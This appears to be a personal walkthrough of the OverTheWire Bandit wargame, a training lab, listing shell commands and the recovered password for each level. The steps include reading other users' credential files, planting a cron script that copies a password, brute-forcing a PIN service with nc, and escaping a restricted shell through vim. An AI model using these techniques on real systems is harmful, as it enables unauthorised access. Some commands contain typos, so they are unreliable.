OverTheWire—Bandit

Level 0

```
$ ssh bandit0@bandit.labs.overthewire.org -p 2220
        Next Password: bandit0
```

Level 0 → Level 1

```
$ cat readme
$ ssh bandit1@bandit.labs.overthewire.org -p 2220
        Next Password: boJ9jbbUNNfktd78OOpsqOltutMc3MY1
```

Level 1 → Level 2

```
$ cat ./-
$ ssh bandit2@bandit.labs.overthewire.org -p 2220
        Next Password: CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
```

Level 2 → Level 3

```
$ cat spaces\ in\ this\ filename
$ ssh bandit3@bandit.labs.overthewire.org -p 2220
        Next Password: UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
```

Level 3 → Level 4

```
$ cd inhere
$ ls -la
$ cat .hidden
$ ssh bandit4@bandit.labs.overthewire.org -p 2220
        Next Password: pIwrPrtPN36QITSp3EQaw936yaFoFgAB
```

Level 4 → Level 5

```
$ cd inhere
$ file ./-*
$ cat ./-file07
$ ssh bandit5@bandit.labs.overthewire.org -p 2220
        Next Password: koReBOKuIDDepwhWk7jZC0RTdopnAYKh
```

Level 5 → Level 6

```
$ cd inhere
$ find ./ -readable -size 1033c
$ cat ./maybehere07/.file2
$ ssh bandit6@bandit.labs.overthewire.org -p 2220
        Next Password: DXjZPULLxYr17uwoI01bNLQbtFemEgo7
```

Level 6 → 7

```
$ find / -group bandit6 -user bandit7 -size 33c 2>/dev/null
$ cat /var/lib/dpkg/info/bandit7.password
$ ssh bandit7@bandit.labs.overthewire.org -p 2220
        Next Password: HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
```

Level 7 → Level 8

```
$ cat data.txt | grep millionth
$ ssh bandit8@bandit.labs.overthewire.org -p 2220
```

Next Password: cvX2JJa4CFALtqS87jk27qwqGhBM9plV

Level 8 → Level 9

```
$ cat data.txt | sort | uniq -u
$ ssh bandit9@bandit.labs.overthewire.org -p 2220
```

Next Password: UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR

Level 9 → Level 10

```
$ strings data.txt | grep “==”
$ ssh bandit10@bandit.labs.overthewire.org -p 2220
```

Next Password: truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk

Level 10 → Level 11

```
$ cat data.txt | base64 -d
$ ssh bandit11@bandit.labs.overthewire.org -p 2220
```

Next Password: IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR

Level 11 → Level 12

```
$ cat data.txt | tr a-zA-Z n-za-mN-ZA-M
$ ssh bandit12@bandit.labs.overthewire.org -p 2220
```

Next Password: 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu

Level 12 → Level 13

```
$ xxd -r data.txt > banditfile
$ file banditfile
$ mv banditfile banditfile.gz
$ gunzip banditfile.gz
$ file banditfile
$ mv banditfile banditfile.bz2
$ bzip2 -d bandifile.bz2
$ file banditfile
$ mv banditfile banditfile.gz
$ gunzip banditfile.gz
$ file banditfile
$ tar xvf banditfile
$ tar data5.bin
$ tar data6.bin
$ mv data8.bin data8.bin.gz
$ gunzip data8.bin
$ cat data8.bin
$ ssh bandit13@bandit.labs.overthewire.org -p 2220
```

Next Password: 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL

Level 13 → Level 14

```
$ cat sshkey.private
        <copy-and-paste sshkey.private to local file>
$ chmod 600 sshkey.private
$ ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220
$ ssh bandit14@bandit.labs.overthewire.org -p 2220
        Next Password: 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
```

Level 14 → Level 15

```
$ cat /etc/bandit_pass/bandit14 | nc localhost 30000
$ ssh bandit15@bandit.labs.overthewire.org -p 2220
        Next Password: BfMYroe26WYalil77FoDi9qh59eK5xNr
```

Level 15 → Level 16

```
$ openssl s_client -connect localhost:30001
        <paste password>
$ ssh bandit16@bandit.labs.overthewire.org -p 2220
        Next Password: cluFn7wTiGryunymYOu4RcffSxQluehd
```

Level 16 → Level 17

```
$ nmap localhost -p 31000-32000
$ openssl s_client -connect localhost:31518
        <paste password>        →        didn’t work
$ openssl s_client -connect localhost:31790
        <paste password>        →        works!
        <save the rsa key using text editor>
$ chmod 600 sshkey.private
$ ssh -i sshkey.private bandit17@bandit.labs.overthewire.org -p 2220
```

Level 17 → Level 18

```
$ diff passwords.old passwords.new
$ ssh -t bandit18@bandit.labs.overthewire.org -p 2220 /bin/sh
        Next Password: kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
```

Level 18 → Level 19

```
$ ls -lart
$ cat readme
ssh bandit19@bandit.labs.overthewire.org -p 2220
        Next Password: IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
```

Level 19 → Level 20

```
$ ./bandit20-do cat /etc/bandit_pass/bandit20
$ ssh bandit20@bandit.labs.overthewire.org -p 2220
        Next Password: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
```

Level 20 → Level 21

```
<terminal_1> $ echo GbKksEFF4yrVs6il55v6gwY5aVje5f0j | nc -lvnp 60000
<terminal_2> $ nmap localhost -p 60000
<terminal_2> $ ./suconnect 60000
$ ssh bandit21@bandit.labs.overthewire.org -p 2220
        Next Password: gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
```

Level 21 → Level 22

```
$ cd /etc/cron.d
$ cat cronjob_bandit22
$ cat /usr/bin/cronjob_bandit22.sh
$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
$ ssh bandit22@bandit.labs.overthewire.org -p 2220
        Next Password: Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
```

Level 22 → Level 23

```
$ cd /etc/cron.d
$ cat cronjob_bandit23
$ cat /usr/bin/cronjob_bandit23.sh
$ echo "I am user $whoami" | md5sum | cut -d ' ' -f 1
$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
$ ssh bandit23@bandit.labs.overthewire.org -p 2220
        Next Password: jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
```

Level 23 → Level 24

```
$ cat /etc/cron.d/cronjob_bandit24
$ cat /usr/bin/cronjob_bandit24.sh
$ mkdir /tmp/johntemporary
$ vim johnscript.sh
        #!/bin/sh
        Cat /etc/bandit_pass/bandit24 >> /tmp/johntemporary/bandit24pwd
$ chmod 777 johnscript.sh
$ cp johnscript.sh /var/spool/bandit24
$ cd /var/spool/bandit24
$ ssh bandit24@bandit.labs.overthewire.org -p 2220
        Next Password: UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
```

Level 24 → Level 25

```
$ cd /tmp/johntemporary2
$ vim johnbruteforce.sh
        #!/bin/sh

        bandit24pwd = "cat /etc/bandit_pass/bandit24"

        for ((i=1000;i<10000;i++));
        do
                echo "$bandit24pwd $i" | nc localhost 30002 >> /tmp/johntemporary2/output &
                sleep 1
        done
$ bash johnbruteforce.sh
$ cat output | uniq -u
$ ssh bandit25@bandit.labs.overthewire.org -p 2220
        Next Password: uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
```

Level 25 → Level 26

```
$ ssh -i bandit26.sshkey bandit26@localhost
$ cat /etc/passwd | grep bandit26
        bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext
$ cat /usr/bin/showtext
$ ssh -i bandit26.sshkey bandit26@localhost
*shrinks the terminal window*
*press ‘v’ to enter vim-mode and then type “:e /etc/bandit_pass/bandit26”*
$ ssh bandit26@bandit.labs.overthewire.org -p 2220
        Next Password: 5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
```

Level 26 → Level 27

```
*shrinks the terminal window*
*press ‘v’ to enter vim-mode, type “:set shell=/bin/bash”, and the type “:shell”*
$ mkdir /tmp/johntemporary3
$ echo 'cat /etc/bandit_pass/bandit27' > /tmp/johtemporary3/temp_script.sh
$ chmod 777 /tmp/johntemporary3/temp_script.sh
$ ./bandit27-do /tmp/johntemporary3/temp_script.sh
$ ssh bandit27@bandit.labs.overthewire.org -p 2220
        Next Password: 3ba3118a22e93127a4ed485be72ef5ea
```

Level 27 → Level 28

```
$ mkdir /tmp/johntemporary4/
$ cd /tmp/johntemporary4/
$ git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
        Password: 3ba3118a22e93127a4ed485be72ef5ea
$ cat repo/README
$ ssh bandit28@bandit.labs.overthewire.org -p 2220
        Next Password: 0ef186ac70e04ea33b4c1853d2526fa2
```

Level 28 → Level 29

```
$ mkdir /tmp/johntemporary5/
$ cd /tmp/johntemporary5/
$ git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
        Password: 0ef186ac70e04ea33b4c1853d2526fa2
$ cat repo/README.md
$ cd repo
$ git log
$ git diff 186a1038cc54d1358d42d468cdc8e3cc28a93fcb b67405defc6ef44210c53345fc953e6a21338cc7
$ ssh bandit29@bandit.labs.overthewire.org -p 2220
        Next Password: bbc96594b4e001778eee9975372716b2
```

Level 29 → Level 30

```
$ mkdir /tmp/johntemporary6/
$ cd /tmp/johntemporary6/
$ git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
        Password: bbc96594b4e001778eee9975372716b2
$ git log
$ git diff 186a1038cc54d1358d42d468cdc8e3cc28a93fcb b67405defc6ef44210c53345fc953e6a21338cc7
$ git show-branch --all
$ git checkout sploits-dev
$ cat README.md
$ git checkout dev
$ cat README.md
$ ssh bandit30@bandit.labs.overthewire.org -p 2220
        Next Password: 5b90576bedb2cc04c86a9e924ce42faf
```

Level 30 → Level 31

```
$ mkdir /tmp/johntemporary7/
$ cd /tmp/johntemporary7/
$ git clone ssh://bandit30-git@localhost/home/bandit30-git/repo
        Password: 5b90576bedb2cc04c86a9e924ce42faf
$ cat repo/.git/packed-refs
$ git show refs/tags/secret
$ ssh bandit31@bandit.labs.overthewire.org -p 2220
        Next Password: 47e603bb428404d265f59c42920d81e5
```

Level 31 → Level 32

```
$ mkdir /tmp/johntemporary8/
$ cd /tmp/johntemporary8/
$ git clone ssh://bandit31-git@localhost/home/bandit31-git/repo
        Password: 47e603bb428404d265f59c42920d81e5
$ cd repo
$ cat README.md
$ echo "May I come in?" > key.txt
$ git add -f key.txt
$ git commit -m “awesome”
$ git push
        Password: 47e603bb428404d265f59c42920d81e5
$ ssh bandit32@bandit.labs.overthewire.org -p 2220
        Next Password: 56a9bf19c63d650ce78e6ec0354ee45e
```

Level 32 → Level 33

(Sources: https://www.computerhope.com/unix/ush.html && https://bash.cyberciti.biz/guide/$0)

```
>> $0
$ whoami
$ cat /etc/bandit_pass/bandit33
$ ssh bandit34@bandit.labs.overthewire.org -p 2220
        Next Password: c9c3199ddf4121b10cf581a98d51caee
```

Level 33 → Level 34

At this moment, level 34 does not exist yet.